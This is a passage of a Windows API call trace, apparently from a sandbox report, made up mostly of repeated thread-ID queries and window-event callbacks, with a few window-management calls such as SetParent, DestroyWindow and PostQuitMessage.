[0053.008] __ClientCallWinEventProc () [0053.009] GetCurrentThreadId () returned 0xee0 [0053.009] __ClientCallWinEventProc () [0053.009] GetCurrentThreadId () returned 0xee0 [0053.009] __ClientCallWinEventProc () [0053.009] GetCurrentThreadId () returned 0xee0 [0053.009] __ClientCallWinEventProc () [0053.009] GetCurrentThreadId () returned 0xee0 [0053.009] __ClientCallWinEventProc () [0053.009] GetCurrentThreadId () returned 0xee0 [0053.009] __ClientCallWinEventProc () [0053.009] GetCurrentThreadId () returned 0xee0 [0053.009] __ClientCallWinEventProc () [0053.009] GetCurrentThreadId () returned 0xee0 [0053.009] __ClientCallWinEventProc () [0053.010] GetCurrentThreadId () returned 0xee0 [0053.010] __ClientCallWinEventProc () [0053.010] GetCurrentThreadId () returned 0xee0 [0053.010] __ClientCallWinEventProc () [0053.010] GetCurrentThreadId () returned 0xee0 [0053.010] __ClientCallWinEventProc () [0053.010] GetCurrentThreadId () returned 0xee0 [0053.010] __ClientCallWinEventProc () [0053.010] GetCurrentThreadId () returned 0xee0 [0053.010] __ClientCallWinEventProc () [0053.010] GetCurrentThreadId () returned 0xee0 [0053.010] __ClientCallWinEventProc () [0053.010] GetCurrentThreadId () returned 0xee0 [0053.010] __ClientCallWinEventProc () [0053.011] GetCurrentThreadId () returned 0xee0 [0053.011] __ClientCallWinEventProc () [0053.011] GetCurrentThreadId () returned 0xee0 [0053.011] __ClientCallWinEventProc () [0053.011] GetCurrentThreadId () returned 0xee0 [0053.011] __ClientCallWinEventProc () [0053.011] GetCurrentThreadId () returned 0xee0 [0053.011] __ClientCallWinEventProc () [0053.011] GetCurrentThreadId () returned 0xee0 [0053.011] __ClientCallWinEventProc () [0053.011] GetCurrentThreadId () returned 0xee0 [0053.011] __ClientCallWinEventProc () [0053.011] GetCurrentThreadId () returned 0xee0 [0053.011] __ClientCallWinEventProc () [0053.012] GetCurrentThreadId () returned 0xee0 [0053.012] __ClientCallWinEventProc () [0053.012] GetCurrentThreadId () returned 0xee0 [0053.012] __ClientCallWinEventProc () [0053.012] GetCurrentThreadId () returned 0xee0 [0053.012] __ClientCallWinEventProc () [0053.012] GetCurrentThreadId () returned 0xee0 [0053.012] __ClientCallWinEventProc () [0053.012] GetCurrentThreadId () returned 0xee0 [0053.012] __ClientCallWinEventProc () [0053.012] GetCurrentThreadId () returned 0xee0 [0053.012] __ClientCallWinEventProc () [0053.012] GetCurrentThreadId () returned 0xee0 [0053.013] __ClientCallWinEventProc () [0053.013] GetCurrentThreadId () returned 0xee0 [0053.013] __ClientCallWinEventProc () [0053.013] GetCurrentThreadId () returned 0xee0 [0053.013] __ClientCallWinEventProc () [0053.013] GetCurrentThreadId () returned 0xee0 [0053.013] __ClientCallWinEventProc () [0053.013] GetCurrentThreadId () returned 0xee0 [0053.013] __ClientCallWinEventProc () [0053.013] GetCurrentThreadId () returned 0xee0 [0053.013] __ClientCallWinEventProc () [0053.013] GetCurrentThreadId () returned 0xee0 [0053.013] __ClientCallWinEventProc () [0053.014] GetCurrentThreadId () returned 0xee0 [0053.014] __ClientCallWinEventProc () [0053.014] GetCurrentThreadId () returned 0xee0 [0053.014] __ClientCallWinEventProc () [0053.014] GetCurrentThreadId () returned 0xee0 [0053.014] __ClientCallWinEventProc () [0053.014] GetCurrentThreadId () returned 0xee0 [0053.014] __ClientCallWinEventProc () [0053.014] GetCurrentThreadId () returned 0xee0 [0053.014] __ClientCallWinEventProc () [0053.014] GetCurrentThreadId () returned 0xee0 [0053.014] __ClientCallWinEventProc () [0053.014] GetCurrentThreadId () returned 0xee0 [0053.014] __ClientCallWinEventProc () [0053.015] GetCurrentThreadId () returned 0xee0 [0053.015] __ClientCallWinEventProc () [0053.015] GetCurrentThreadId () returned 0xee0 [0053.015] __ClientCallWinEventProc () [0053.015] GetCurrentThreadId () returned 0xee0 [0053.015] __ClientCallWinEventProc () [0053.015] GetCurrentThreadId () returned 0xee0 [0053.015] __ClientCallWinEventProc () [0053.015] GetCurrentThreadId () returned 0xee0 [0053.015] __ClientCallWinEventProc () [0053.015] GetCurrentThreadId () returned 0xee0 [0053.015] __ClientCallWinEventProc () [0053.015] GetCurrentThreadId () returned 0xee0 [0053.016] __ClientCallWinEventProc () [0053.016] GetCurrentThreadId () returned 0xee0 [0053.016] __ClientCallWinEventProc () [0053.016] GetCurrentThreadId () returned 0xee0 [0053.016] __ClientCallWinEventProc () [0053.016] GetCurrentThreadId () returned 0xee0 [0053.016] __ClientCallWinEventProc () [0053.016] GetCurrentThreadId () returned 0xee0 [0053.016] __ClientCallWinEventProc () [0053.016] GetCurrentThreadId () returned 0xee0 [0053.016] __ClientCallWinEventProc () [0053.016] GetCurrentThreadId () returned 0xee0 [0053.016] __ClientCallWinEventProc () [0053.017] GetCurrentThreadId () returned 0xee0 [0053.017] __ClientCallWinEventProc () [0053.017] GetCurrentThreadId () returned 0xee0 [0053.017] __ClientCallWinEventProc () [0053.017] GetCurrentThreadId () returned 0xee0 [0053.017] __ClientCallWinEventProc () [0053.017] GetCurrentThreadId () returned 0xee0 [0053.017] __ClientCallWinEventProc () [0053.017] GetCurrentThreadId () returned 0xee0 [0053.017] __ClientCallWinEventProc () [0053.017] GetCurrentThreadId () returned 0xee0 [0053.017] __ClientCallWinEventProc () [0053.017] GetCurrentThreadId () returned 0xee0 [0053.017] __ClientCallWinEventProc () [0053.018] GetCurrentThreadId () returned 0xee0 [0053.018] __ClientCallWinEventProc () [0053.018] GetCurrentThreadId () returned 0xee0 [0053.018] __ClientCallWinEventProc () [0053.018] GetCurrentThreadId () returned 0xee0 [0053.018] __ClientCallWinEventProc () [0053.018] GetCurrentThreadId () returned 0xee0 [0053.018] __ClientCallWinEventProc () [0053.018] GetCurrentThreadId () returned 0xee0 [0053.018] __ClientCallWinEventProc () [0053.018] GetCurrentThreadId () returned 0xee0 [0053.018] __ClientCallWinEventProc () [0053.019] GetCurrentThreadId () returned 0xee0 [0053.019] __ClientCallWinEventProc () [0053.019] GetCurrentThreadId () returned 0xee0 [0053.019] __ClientCallWinEventProc () [0053.019] GetCurrentThreadId () returned 0xee0 [0053.019] __ClientCallWinEventProc () [0053.019] GetCurrentThreadId () returned 0xee0 [0053.019] __ClientCallWinEventProc () [0053.019] GetCurrentThreadId () returned 0xee0 [0053.019] __ClientCallWinEventProc () [0053.019] GetCurrentThreadId () returned 0xee0 [0053.019] __ClientCallWinEventProc () [0053.019] GetCurrentThreadId () returned 0xee0 [0053.019] __ClientCallWinEventProc () [0053.019] GetCurrentThreadId () returned 0xee0 [0053.020] __ClientCallWinEventProc () [0053.020] GetCurrentThreadId () returned 0xee0 [0053.020] __ClientCallWinEventProc () [0053.020] GetCurrentThreadId () returned 0xee0 [0053.020] __ClientCallWinEventProc () [0053.020] GetCurrentThreadId () returned 0xee0 [0053.020] __ClientCallWinEventProc () [0053.020] GetCurrentThreadId () returned 0xee0 [0053.020] __ClientCallWinEventProc () [0053.020] GetCurrentThreadId () returned 0xee0 [0053.020] __ClientCallWinEventProc () [0053.020] GetCurrentThreadId () returned 0xee0 [0053.020] __ClientCallWinEventProc () [0053.020] GetCurrentThreadId () returned 0xee0 [0053.020] __ClientCallWinEventProc () [0053.020] GetCurrentThreadId () returned 0xee0 [0053.020] __ClientCallWinEventProc () [0053.020] GetCurrentThreadId () returned 0xee0 [0053.020] __ClientCallWinEventProc () [0053.020] GetCurrentThreadId () returned 0xee0 [0053.020] __ClientCallWinEventProc () [0053.021] GetCurrentThreadId () returned 0xee0 [0053.021] __ClientCallWinEventProc () [0053.021] GetCurrentThreadId () returned 0xee0 [0053.021] __ClientCallWinEventProc () [0053.021] GetCurrentThreadId () returned 0xee0 [0053.021] __ClientCallWinEventProc () [0053.021] GetCurrentThreadId () returned 0xee0 [0053.021] __ClientCallWinEventProc () [0053.021] GetCurrentThreadId () returned 0xee0 [0053.021] __ClientCallWinEventProc () [0053.021] GetCurrentThreadId () returned 0xee0 [0053.021] __ClientCallWinEventProc () [0053.021] GetCurrentThreadId () returned 0xee0 [0053.021] __ClientCallWinEventProc () [0053.021] GetCurrentThreadId () returned 0xee0 [0053.021] __ClientCallWinEventProc () [0053.021] GetCurrentThreadId () returned 0xee0 [0053.021] __ClientCallWinEventProc () [0053.021] GetCurrentThreadId () returned 0xee0 [0053.021] __ClientCallWinEventProc () [0053.022] GetCurrentThreadId () returned 0xee0 [0053.022] __ClientCallWinEventProc () [0053.022] GetCurrentThreadId () returned 0xee0 [0053.022] __ClientCallWinEventProc () [0053.022] GetCurrentThreadId () returned 0xee0 [0053.022] __ClientCallWinEventProc () [0053.022] GetCurrentThreadId () returned 0xee0 [0053.022] __ClientCallWinEventProc () [0053.022] GetCurrentThreadId () returned 0xee0 [0053.022] __ClientCallWinEventProc () [0053.022] GetCurrentThreadId () returned 0xee0 [0053.022] __ClientCallWinEventProc () [0053.022] GetCurrentThreadId () returned 0xee0 [0053.022] __ClientCallWinEventProc () [0053.022] GetCurrentThreadId () returned 0xee0 [0053.022] __ClientCallWinEventProc () [0053.022] GetCurrentThreadId () returned 0xee0 [0053.022] __ClientCallWinEventProc () [0053.023] GetCurrentThreadId () returned 0xee0 [0053.023] __ClientCallWinEventProc () [0053.023] GetCurrentThreadId () returned 0xee0 [0053.023] __ClientCallWinEventProc () [0053.023] GetCurrentThreadId () returned 0xee0 [0053.023] __ClientCallWinEventProc () [0053.023] GetCurrentThreadId () returned 0xee0 [0053.023] __ClientCallWinEventProc () [0053.023] GetCurrentThreadId () returned 0xee0 [0053.023] __ClientCallWinEventProc () [0053.023] GetCurrentThreadId () returned 0xee0 [0053.023] __ClientCallWinEventProc () [0053.023] GetCurrentThreadId () returned 0xee0 [0053.023] __ClientCallWinEventProc () [0053.023] GetCurrentThreadId () returned 0xee0 [0053.023] __ClientCallWinEventProc () [0053.023] GetCurrentThreadId () returned 0xee0 [0053.023] __ClientCallWinEventProc () [0053.023] GetCurrentThreadId () returned 0xee0 [0053.023] __ClientCallWinEventProc () [0053.024] GetCurrentThreadId () returned 0xee0 [0053.024] __ClientCallWinEventProc () [0053.024] GetCurrentThreadId () returned 0xee0 [0053.024] __ClientCallWinEventProc () [0053.024] GetCurrentThreadId () returned 0xee0 [0053.024] __ClientCallWinEventProc () [0053.024] GetCurrentThreadId () returned 0xee0 [0053.024] __ClientCallWinEventProc () [0053.024] GetCurrentThreadId () returned 0xee0 [0053.024] __ClientCallWinEventProc () [0053.024] GetCurrentThreadId () returned 0xee0 [0053.024] __ClientCallWinEventProc () [0053.024] GetCurrentThreadId () returned 0xee0 [0053.024] __ClientCallWinEventProc () [0053.024] GetCurrentThreadId () returned 0xee0 [0053.024] __ClientCallWinEventProc () [0053.024] GetCurrentThreadId () returned 0xee0 [0053.024] __ClientCallWinEventProc () [0053.024] GetCurrentThreadId () returned 0xee0 [0053.024] __ClientCallWinEventProc () [0053.025] GetCurrentThreadId () returned 0xee0 [0053.025] __ClientCallWinEventProc () [0053.025] GetCurrentThreadId () returned 0xee0 [0053.025] __ClientCallWinEventProc () [0053.025] GetCurrentThreadId () returned 0xee0 [0053.025] __ClientCallWinEventProc () [0053.025] GetCurrentThreadId () returned 0xee0 [0053.025] __ClientCallWinEventProc () [0053.025] GetCurrentThreadId () returned 0xee0 [0053.025] __ClientCallWinEventProc () [0053.025] GetCurrentThreadId () returned 0xee0 [0053.025] __ClientCallWinEventProc () [0053.025] GetCurrentThreadId () returned 0xee0 [0053.025] __ClientCallWinEventProc () [0053.025] GetCurrentThreadId () returned 0xee0 [0053.025] __ClientCallWinEventProc () [0053.026] GetCurrentThreadId () returned 0xee0 [0053.026] __ClientCallWinEventProc () [0053.026] GetCurrentThreadId () returned 0xee0 [0053.026] __ClientCallWinEventProc () [0053.026] GetCurrentThreadId () returned 0xee0 [0053.026] __ClientCallWinEventProc () [0053.026] GetCurrentThreadId () returned 0xee0 [0053.026] __ClientCallWinEventProc () [0053.026] GetCurrentThreadId () returned 0xee0 [0053.026] __ClientCallWinEventProc () [0053.026] GetCurrentThreadId () returned 0xee0 [0053.026] __ClientCallWinEventProc () [0053.026] GetCurrentThreadId () returned 0xee0 [0053.026] __ClientCallWinEventProc () [0053.026] GetCurrentThreadId () returned 0xee0 [0053.026] __ClientCallWinEventProc () [0053.026] GetCurrentThreadId () returned 0xee0 [0053.026] __ClientCallWinEventProc () [0053.027] GetCurrentThreadId () returned 0xee0 [0053.027] __ClientCallWinEventProc () [0053.027] GetCurrentThreadId () returned 0xee0 [0053.027] __ClientCallWinEventProc () [0053.027] GetCurrentThreadId () returned 0xee0 [0053.027] __ClientCallWinEventProc () [0053.027] GetCurrentThreadId () returned 0xee0 [0053.027] __ClientCallWinEventProc () [0053.027] GetCurrentThreadId () returned 0xee0 [0053.027] __ClientCallWinEventProc () [0053.027] GetCurrentThreadId () returned 0xee0 [0053.027] __ClientCallWinEventProc () [0053.027] GetCurrentThreadId () returned 0xee0 [0053.027] __ClientCallWinEventProc () [0053.027] GetCurrentThreadId () returned 0xee0 [0053.027] __ClientCallWinEventProc () [0053.027] GetCurrentThreadId () returned 0xee0 [0053.027] __ClientCallWinEventProc () [0053.028] GetCurrentThreadId () returned 0xee0 [0053.028] __ClientCallWinEventProc () [0053.028] GetCurrentThreadId () returned 0xee0 [0053.028] __ClientCallWinEventProc () [0053.028] GetCurrentThreadId () returned 0xee0 [0053.028] __ClientCallWinEventProc () [0053.028] GetCurrentThreadId () returned 0xee0 [0053.028] __ClientCallWinEventProc () [0053.028] GetCurrentThreadId () returned 0xee0 [0053.028] __ClientCallWinEventProc () [0053.028] GetCurrentThreadId () returned 0xee0 [0053.028] __ClientCallWinEventProc () [0053.028] GetCurrentThreadId () returned 0xee0 [0053.028] __ClientCallWinEventProc () [0053.028] GetCurrentThreadId () returned 0xee0 [0053.028] __ClientCallWinEventProc () [0053.028] GetCurrentThreadId () returned 0xee0 [0053.028] __ClientCallWinEventProc () [0053.028] GetCurrentThreadId () returned 0xee0 [0053.028] __ClientCallWinEventProc () [0053.029] GetCurrentThreadId () returned 0xee0 [0053.029] __ClientCallWinEventProc () [0053.029] GetCurrentThreadId () returned 0xee0 [0053.029] __ClientCallWinEventProc () [0053.029] GetCurrentThreadId () returned 0xee0 [0053.029] __ClientCallWinEventProc () [0053.029] GetCurrentThreadId () returned 0xee0 [0053.029] __ClientCallWinEventProc () [0053.029] GetCurrentThreadId () returned 0xee0 [0053.029] __ClientCallWinEventProc () [0053.029] GetCurrentThreadId () returned 0xee0 [0053.029] __ClientCallWinEventProc () [0053.029] GetCurrentThreadId () returned 0xee0 [0053.029] __ClientCallWinEventProc () [0053.029] GetCurrentThreadId () returned 0xee0 [0053.029] __ClientCallWinEventProc () [0053.029] GetCurrentThreadId () returned 0xee0 [0053.029] __ClientCallWinEventProc () [0053.029] GetCurrentThreadId () returned 0xee0 [0053.029] __ClientCallWinEventProc () [0053.029] GetCurrentThreadId () returned 0xee0 [0053.030] __ClientCallWinEventProc () [0053.030] GetCurrentThreadId () returned 0xee0 [0053.030] __ClientCallWinEventProc () [0053.030] GetCurrentThreadId () returned 0xee0 [0053.030] __ClientCallWinEventProc () [0053.030] GetCurrentThreadId () returned 0xee0 [0053.030] __ClientCallWinEventProc () [0053.030] GetCurrentThreadId () returned 0xee0 [0053.030] __ClientCallWinEventProc () [0053.030] GetCurrentThreadId () returned 0xee0 [0053.030] __ClientCallWinEventProc () [0053.030] GetCurrentThreadId () returned 0xee0 [0053.030] __ClientCallWinEventProc () [0053.030] GetCurrentThreadId () returned 0xee0 [0053.030] __ClientCallWinEventProc () [0053.030] GetCurrentThreadId () returned 0xee0 [0053.030] __ClientCallWinEventProc () [0053.030] GetCurrentThreadId () returned 0xee0 [0053.030] __ClientCallWinEventProc () [0053.030] GetCurrentThreadId () returned 0xee0 [0053.030] __ClientCallWinEventProc () [0053.031] GetCurrentThreadId () returned 0xee0 [0053.031] __ClientCallWinEventProc () [0053.031] GetCurrentThreadId () returned 0xee0 [0053.031] __ClientCallWinEventProc () [0053.031] GetCurrentThreadId () returned 0xee0 [0053.031] __ClientCallWinEventProc () [0053.031] GetCurrentThreadId () returned 0xee0 [0053.031] __ClientCallWinEventProc () [0053.031] GetCurrentThreadId () returned 0xee0 [0053.031] __ClientCallWinEventProc () [0053.031] GetCurrentThreadId () returned 0xee0 [0053.031] __ClientCallWinEventProc () [0053.031] GetCurrentThreadId () returned 0xee0 [0053.031] __ClientCallWinEventProc () [0053.031] GetCurrentThreadId () returned 0xee0 [0053.031] __ClientCallWinEventProc () [0053.031] GetCurrentThreadId () returned 0xee0 [0053.031] __ClientCallWinEventProc () [0053.031] GetCurrentThreadId () returned 0xee0 [0053.031] __ClientCallWinEventProc () [0053.032] GetCurrentThreadId () returned 0xee0 [0053.032] __ClientCallWinEventProc () [0053.032] GetCurrentThreadId () returned 0xee0 [0053.032] __ClientCallWinEventProc () [0053.032] GetCurrentThreadId () returned 0xee0 [0053.032] __ClientCallWinEventProc () [0053.032] GetCurrentThreadId () returned 0xee0 [0053.032] __ClientCallWinEventProc () [0053.032] GetCurrentThreadId () returned 0xee0 [0053.032] __ClientCallWinEventProc () [0053.032] GetCurrentThreadId () returned 0xee0 [0053.032] __ClientCallWinEventProc () [0053.032] GetCurrentThreadId () returned 0xee0 [0053.032] __ClientCallWinEventProc () [0053.032] GetCurrentThreadId () returned 0xee0 [0053.032] __ClientCallWinEventProc () [0053.032] GetCurrentThreadId () returned 0xee0 [0053.032] __ClientCallWinEventProc () [0053.032] GetCurrentThreadId () returned 0xee0 [0053.032] __ClientCallWinEventProc () [0053.033] GetCurrentThreadId () returned 0xee0 [0053.033] __ClientCallWinEventProc () [0053.033] GetCurrentThreadId () returned 0xee0 [0053.033] __ClientCallWinEventProc () [0053.033] GetCurrentThreadId () returned 0xee0 [0053.033] __ClientCallWinEventProc () [0053.033] GetCurrentThreadId () returned 0xee0 [0053.033] __ClientCallWinEventProc () [0053.033] GetCurrentThreadId () returned 0xee0 [0053.033] __ClientCallWinEventProc () [0053.033] GetCurrentThreadId () returned 0xee0 [0053.033] __ClientCallWinEventProc () [0053.033] GetCurrentThreadId () returned 0xee0 [0053.033] __ClientCallWinEventProc () [0053.033] GetCurrentThreadId () returned 0xee0 [0053.033] __ClientCallWinEventProc () [0053.033] GetCurrentThreadId () returned 0xee0 [0053.033] __ClientCallWinEventProc () [0053.033] GetCurrentThreadId () returned 0xee0 [0053.033] __ClientCallWinEventProc () [0053.034] GetCurrentThreadId () returned 0xee0 [0053.034] __ClientCallWinEventProc () [0053.034] GetCurrentThreadId () returned 0xee0 [0053.034] __ClientCallWinEventProc () [0053.034] GetCurrentThreadId () returned 0xee0 [0053.034] __ClientCallWinEventProc () [0053.034] GetCurrentThreadId () returned 0xee0 [0053.034] __ClientCallWinEventProc () [0053.034] GetCurrentThreadId () returned 0xee0 [0053.034] __ClientCallWinEventProc () [0053.034] GetCurrentThreadId () returned 0xee0 [0053.034] __ClientCallWinEventProc () [0053.034] GetCurrentThreadId () returned 0xee0 [0053.034] __ClientCallWinEventProc () [0053.034] GetCurrentThreadId () returned 0xee0 [0053.034] __ClientCallWinEventProc () [0053.034] GetCurrentThreadId () returned 0xee0 [0053.034] __ClientCallWinEventProc () [0053.034] GetCurrentThreadId () returned 0xee0 [0053.034] __ClientCallWinEventProc () [0053.034] GetCurrentThreadId () returned 0xee0 [0053.035] __ClientCallWinEventProc () [0053.035] GetCurrentThreadId () returned 0xee0 [0053.035] __ClientCallWinEventProc () [0053.035] GetCurrentThreadId () returned 0xee0 [0053.035] __ClientCallWinEventProc () [0053.035] GetCurrentThreadId () returned 0xee0 [0053.035] __ClientCallWinEventProc () [0053.035] GetCurrentThreadId () returned 0xee0 [0053.035] __ClientCallWinEventProc () [0053.035] GetCurrentThreadId () returned 0xee0 [0053.035] __ClientCallWinEventProc () [0053.035] GetCurrentThreadId () returned 0xee0 [0053.035] __ClientCallWinEventProc () [0053.035] GetCurrentThreadId () returned 0xee0 [0053.035] __ClientCallWinEventProc () [0053.035] GetCurrentThreadId () returned 0xee0 [0053.035] __ClientCallWinEventProc () [0053.035] GetCurrentThreadId () returned 0xee0 [0053.035] __ClientCallWinEventProc () [0053.035] GetCurrentThreadId () returned 0xee0 [0053.035] __ClientCallWinEventProc () [0053.036] GetCurrentThreadId () returned 0xee0 [0053.036] __ClientCallWinEventProc () [0053.036] GetCurrentThreadId () returned 0xee0 [0053.036] __ClientCallWinEventProc () [0053.036] GetCurrentThreadId () returned 0xee0 [0053.036] __ClientCallWinEventProc () [0053.036] GetCurrentThreadId () returned 0xee0 [0053.036] __ClientCallWinEventProc () [0053.036] GetCurrentThreadId () returned 0xee0 [0053.036] __ClientCallWinEventProc () [0053.036] GetCurrentThreadId () returned 0xee0 [0053.036] __ClientCallWinEventProc () [0053.036] GetCurrentThreadId () returned 0xee0 [0053.036] __ClientCallWinEventProc () [0053.036] GetCurrentThreadId () returned 0xee0 [0053.036] __ClientCallWinEventProc () [0053.036] GetCurrentThreadId () returned 0xee0 [0053.036] __ClientCallWinEventProc () [0053.037] GetCurrentThreadId () returned 0xee0 [0053.037] __ClientCallWinEventProc () [0053.037] GetCurrentThreadId () returned 0xee0 [0053.037] __ClientCallWinEventProc () [0053.037] GetCurrentThreadId () returned 0xee0 [0053.037] __ClientCallWinEventProc () [0053.037] GetCurrentThreadId () returned 0xee0 [0053.037] __ClientCallWinEventProc () [0053.037] GetCurrentThreadId () returned 0xee0 [0053.037] __ClientCallWinEventProc () [0053.037] GetCurrentThreadId () returned 0xee0 [0053.037] __ClientCallWinEventProc () [0053.048] SetParent (hWndChild=0x50108, hWndNewParent=0x3014a) [0053.049] GetCurrentThreadId () returned 0xee0 [0053.049] __fnDWORD () [0053.049] GetCurrentThreadId () returned 0xee0 [0053.049] __fnDWORD () [0053.049] GetCurrentThreadId () returned 0xee0 [0053.049] __fnDWORD () [0053.050] DestroyWindow (hWnd=0x6001e) [0053.050] NtCallbackReturn (Result=0x261f908, ResultLength=0x18, Status=0x0) [0053.050] GetCurrentThreadId () returned 0xee0 [0053.050] __fnDWORD () [0053.050] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0053.136] GetCurrentThreadId () returned 0xee0 [0053.136] __fnDWORD () [0053.136] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x86, wParam=0x0, lParam=0x123aa) returned 0x1 [0053.136] GetCurrentThreadId () returned 0xee0 [0053.136] __fnDWORD () [0053.136] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x6, wParam=0x0, lParam=0x123aa) returned 0x0 [0053.136] GetCurrentThreadId () returned 0xee0 [0053.136] __fnDWORD () [0053.136] GetCurrentThreadId () returned 0xee0 [0053.136] __fnDWORD () [0053.136] GetCurrentThreadId () returned 0xee0 [0053.137] __fnDWORD () [0053.137] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x8, wParam=0x123aa, lParam=0x0) returned 0x0 [0053.137] GetCurrentThreadId () returned 0xee0 [0053.137] __fnDWORD () [0053.137] NtCallbackReturn (Result=0x261f688, ResultLength=0x18, Status=0x0) [0053.137] GetCurrentThreadId () returned 0xee0 [0053.137] __fnDWORD () [0053.137] PostQuitMessage (nExitCode=0) [0053.137] GetCurrentThreadId () returned 0xee0 [0053.137] __fnNCDESTROY () [0053.137] NtdllDefWindowProc_A (hWnd=0x6001e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0053.137] GetCurrentThreadId () returned 0xee0 [0053.137] __fnDWORD () [0053.292] GetCurrentThreadId () returned 0xee0 [0053.292] __fnDWORD () [0053.293] GetCurrentThreadId () returned 0xee0 [0053.293] NtUserSetWindowFNID () returned 0x1 [0053.293] KiUserCallbackDispatcherContinue () [0053.293] GetCurrentThreadId () returned 0xee0 [0053.294] __ClientCallWinEventProc () [0053.294] GetCurrentThreadId () returned 0xee0 [0053.294] __ClientCallWinEventProc () [0053.294] GetCurrentThreadId () returned 0xee0 [0053.294] __ClientCallWinEventProc () [0053.294] GetCurrentThreadId () returned 0xee0 [0053.294] __ClientCallWinEventProc () [0053.294] GetCurrentThreadId () returned 0xee0 [0053.294] __ClientCallWinEventProc () [0053.294] GetCurrentThreadId () returned 0xee0 [0053.294] __ClientCallWinEventProc () [0053.294] GetCurrentThreadId () returned 0xee0 [0053.294] __ClientCallWinEventProc () [0053.294] GetCurrentThreadId () returned 0xee0 [0053.294] SetActiveWindow (hWnd=0x3014a) [0053.295] GetCurrentThreadId () returned 0xee0 [0053.295] __fnDWORD () [0053.295] GetCurrentThreadId () returned 0xee0 [0053.295] __fnDWORD () [0053.295] GetCurrentThreadId () returned 0xee0 [0053.295] __fnDWORD () [0053.295] GetCurrentThreadId () returned 0xee0 [0053.295] __fnDWORD () [0053.295] GetCurrentThreadId () returned 0xee0 [0053.295] __fnDWORD () [0053.295] GetCurrentThreadId () returned 0xee0 [0053.295] __fnDWORD () [0053.295] GetCurrentThreadId () returned 0xee0 [0053.295] __fnDWORD () [0053.295] GetCurrentThreadId () returned 0xee0 [0053.295] __fnDWORD () [0053.295] GetCurrentThreadId () returned 0xee0 [0053.295] __fnDWORD () [0053.296] GetCurrentThreadId () returned 0xee0 [0053.296] __fnDWORD () [0053.296] GetCurrentThreadId () returned 0xee0 [0053.296] __fnDWORD () [0053.296] GetCurrentThreadId () returned 0xee0 [0053.296] __fnDWORD () [0053.296] GetCurrentThreadId () returned 0xee0 [0053.296] __fnDWORD () [0053.296] GetCurrentThreadId () returned 0xee0 [0053.296] __fnDWORD () [0053.296] GetCurrentThreadId () returned 0xee0 [0053.296] __fnDWORD () [0053.296] GetCurrentThreadId () returned 0xee0 [0053.296] __fnDWORD () [0053.296] GetCurrentThreadId () returned 0xee0 [0053.296] __fnDWORD () [0053.296] GetCurrentThreadId () returned 0xee0 [0053.296] __fnDWORD () [0053.296] GetCurrentThreadId () returned 0xee0 [0053.296] __fnDWORD () [0053.296] GetCurrentThreadId () returned 0xee0 [0053.296] __fnDWORD () [0053.296] GetCurrentThreadId () returned 0xee0 [0053.296] __fnDWORD () [0053.296] GetCurrentThreadId () returned 0xee0 [0053.296] __fnDWORD () [0053.296] GetCurrentThreadId () returned 0xee0 [0053.296] __fnDWORD () [0053.296] GetCurrentThreadId () returned 0xee0 [0053.296] __fnDWORD () [0053.296] GetCurrentThreadId () returned 0xee0 [0053.297] __fnDWORD () [0053.297] GetCurrentThreadId () returned 0xee0 [0053.297] __fnDWORD () [0053.297] GetCurrentThreadId () returned 0xee0 [0053.297] __fnDWORD () [0053.297] GetCurrentThreadId () returned 0xee0 [0053.297] __fnDWORD () [0053.297] GetCurrentThreadId () returned 0xee0 [0053.297] __fnDWORD () [0053.297] GetCurrentThreadId () returned 0xee0 [0053.297] __fnDWORD () [0053.297] GetCurrentThreadId () returned 0xee0 [0053.297] __fnDWORD () [0053.297] GetCurrentThreadId () returned 0xee0 [0053.297] __fnDWORD () [0053.297] GetCurrentThreadId () returned 0xee0 [0053.297] __fnDWORD () [0053.297] GetCurrentThreadId () returned 0xee0 [0053.297] __fnDWORD () [0053.297] GetCurrentThreadId () returned 0xee0 [0053.297] __fnDWORD () [0053.297] GetCurrentThreadId () returned 0xee0 [0053.297] __fnDWORD () [0053.297] GetCurrentThreadId () returned 0xee0 [0053.297] __fnDWORD () [0053.297] GetCurrentThreadId () returned 0xee0 [0053.297] __fnDWORD () [0053.297] GetCurrentThreadId () returned 0xee0 [0053.297] __fnDWORD () [0053.297] GetCurrentThreadId () returned 0xee0 [0053.297] __fnDWORD () [0053.298] GetCurrentThreadId () returned 0xee0 [0053.298] __fnDWORD () [0053.298] GetCurrentThreadId () returned 0xee0 [0053.298] __fnDWORD () [0053.298] GetCurrentThreadId () returned 0xee0 [0053.298] __fnDWORD () [0053.298] GetCurrentThreadId () returned 0xee0 [0053.298] __fnDWORD () [0053.298] GetCurrentThreadId () returned 0xee0 [0053.298] __fnDWORD () [0053.298] GetCurrentThreadId () returned 0xee0 [0053.298] __fnDWORD () [0053.298] GetCurrentThreadId () returned 0xee0 [0053.298] __fnDWORD () [0053.298] GetCurrentThreadId () returned 0xee0 [0053.298] __fnDWORD () [0053.298] GetCurrentThreadId () returned 0xee0 [0053.298] __fnDWORD () [0053.298] GetCurrentThreadId () returned 0xee0 [0053.298] __fnDWORD () [0053.298] GetCurrentThreadId () returned 0xee0 [0053.298] __fnDWORD () [0053.298] GetCurrentThreadId () returned 0xee0 [0053.298] __fnDWORD () [0053.298] GetCurrentThreadId () returned 0xee0 [0053.298] __fnDWORD () [0053.298] GetCurrentThreadId () returned 0xee0 [0053.298] __fnDWORD () [0053.298] GetCurrentThreadId () returned 0xee0 [0053.298] __fnDWORD () [0053.299] GetCurrentThreadId () returned 0xee0 [0053.299] __fnDWORD () [0053.299] GetCurrentThreadId () returned 0xee0 [0053.299] __fnDWORD () [0053.299] GetCurrentThreadId () returned 0xee0 [0053.299] __fnDWORD () [0053.299] GetCurrentThreadId () returned 0xee0 [0053.299] __fnDWORD () [0053.299] GetCurrentThreadId () returned 0xee0 [0053.299] __fnDWORD () [0053.299] GetCurrentThreadId () returned 0xee0 [0053.299] __fnDWORD () [0053.299] GetCurrentThreadId () returned 0xee0 [0053.299] __fnDWORD () [0053.299] GetCurrentThreadId () returned 0xee0 [0053.299] __fnDWORD () [0053.299] GetCurrentThreadId () returned 0xee0 [0053.299] __fnDWORD () [0053.299] GetCurrentThreadId () returned 0xee0 [0053.299] __fnDWORD () [0053.299] GetCurrentThreadId () returned 0xee0 [0053.299] __fnDWORD () [0053.299] GetCurrentThreadId () returned 0xee0 [0053.299] __fnDWORD () [0053.299] GetCurrentThreadId () returned 0xee0 [0053.299] 